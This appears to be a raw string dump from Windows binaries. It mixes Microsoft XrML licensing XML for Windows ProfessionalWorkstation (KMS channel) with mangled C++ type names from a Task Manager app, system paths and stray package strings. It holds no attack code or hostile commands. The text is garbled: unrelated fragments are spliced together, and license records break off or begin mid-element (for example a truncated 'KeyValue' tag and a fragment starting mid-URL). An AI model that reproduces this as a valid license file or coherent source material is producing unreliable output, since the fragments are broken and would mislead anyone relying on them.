c:/windows/system32/dt
c:/windows/system32/dl
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{40ab1c69-b135-4f97-b007-eb782fbfafe4}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xo`
Windows.UI.Xaml.Controls.StackPanel0
Windows.UI.Xaml.Controls.BorderH
.?AU?$produce@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides9@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides8@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides8@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides6@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides9@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides4@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides3@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides3@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides2@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides6@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides5@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides5@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides4@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIWindowProvider@Provider@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides2@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
AppMicrosoft.Windows.Photos_8wekyb3d8bbwe!Appms-resource:AppDisplayName
TDwindows.appExtensionA
windows.updateTask
t.com/DRM/XrML2/SL/v2" value="{7a802526-4c94-4bd1-ba14-835a1aca2120}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>0Zt4nLZpiRs+z/TUFbPJNi04eVo=</DigestValue></Reference></SignedInfo><SignatureValue>kLZ0Mkp3/3wnG/PeXxsrhSlS78G9AioKgojtvfeS+aX2hqxzhow+z/q4KENe9eyUI1/7Fg7CoJYvoNV/FITLW+qcZgyM8HV9AK05PjrGL/qbjkC3rZ0xOSFdMrX3GyPHT+bKuapzMnEkBW991vQC6/y8xh7ZGfMfaD6YAD6BRuZtPAozqfoAnW6lIV+yXyqk4XDB3YEORAUnq6Vj9mQPpg+DYP8rmvWsOLfICs/8w5rlyRRcvH2imofs+iuso+Sf6yYAWHpkJ7C3YaE45jhcyHRK+lVU8sgsaSNFx/tWdT8y3qK/qrwKWjje4QEUzRQvtTmEblCGtad0V9zcOmtv1A==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{7a802526-4c94-4bd1-ba14-835a1aca2120}</tm:infoStr><tm:infoStr name="privateCertificateId">{bc2d4cf0-faea-4a77-820a-9309dd628050}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{bc2d4cf0-faea-4a77-820a-9309dd628050}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>iiqkXiwnIh5AhHQ5+w0neBPU8LA=</DigestValue></Reference></SignedInfo><SignatureValue>Q+P3qMDiacE14gk30gUOkGPOgjHiBFr6JCyv+bpxvwxtWMeb/YENHy50Ec1eTHbIrc2TKz8fUwYQXOYpX0K4caQ6FG6o94Bb6PNzHo/zBqQj0xHK12DCimkT78wEm+E2VCjhuZeMY79fM5C28QMVIlv8Zmo+dqeNJDSO0wsEtyvUGteCNJfy9BKUpbY6MiD6pK571hsgFFfinYFFiyqgIlc7T2aNVvc20F3yxDU6UsfLwN99rZ8AyyOToxykOKqJF+x9+FAExQ2B5uoCJp75xGzCayF24CssogU5M7kZrSL8hBT8s83KfqfhhUteZpodzyZmfaVKsGuVJXFy0IlMkA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{d94300af-2eaf-468f-a4a6-2d480a7a1986}</tm:infoStr><tm:infoStr name="productSkuId">{7a802526-4c94-4bd1-ba14-835a1aca2120}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="clip:policy">1</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{cd8e2e26-965b-455a-a961-0f0a620488a8}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies><sl:proxyExecutionKey xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:proxyExecutionKey><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAAFAAAA</sl:data></sl:externalValidator></r:allConditions><mx:renderer><sl:binding varRef="binding"/><sl:productId varRef="productId"/></mx:renderer></r:allConditions></r:grant><r:allConditions><sl:businessRules xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:businessRules></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>trVZsvKGPY4HNuOapEA2l3RAztE=</DigestValue></Reference></SignedInfo><SignatureValue>iNDbb548qwO6sbYx9DWBTN9UrJysRyP6Jmip24JSiYUjXYwnBvn8R8tccMuQCtieJRI3eaOFijO1LQvKWqLtt2sAAUMmCBMEWfcNtvTXlujgXcdRkE64DZ0u8dHR9402vQwFDHjT/d+ctg6rxI6Bu/uCdn48U3ZnDaQwCzHjb8hKeclSjB9Hg92Jtp+/JNBEA17KZ43+xVdsa2dtF+TY68FQMF2VyMBnEUXJJ64lF+DJV1Ig4FzlkVjfRFRQyzRqaVOYCKTEL/czEeV0qZfin4+YYvr6aHBe6oFN4Prx45s1SBkd55kO42OpwAl7rfKOLR51Ow9BHWtJ53vdP2tnIw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="productSkuId">{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}</tm:infoStr><tm:infoStr name="privateCertificateId">{7b4c5bc6-8029-4b18-826f-5584231f384e}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{7b4c5bc6-8029-4b18-826f-5584231f384e}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Private)</r:title><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="appid"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:prerequisiteRight><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:right varRef="anyRight"/><sl:appId varRef="appid"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight></r:grant></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod 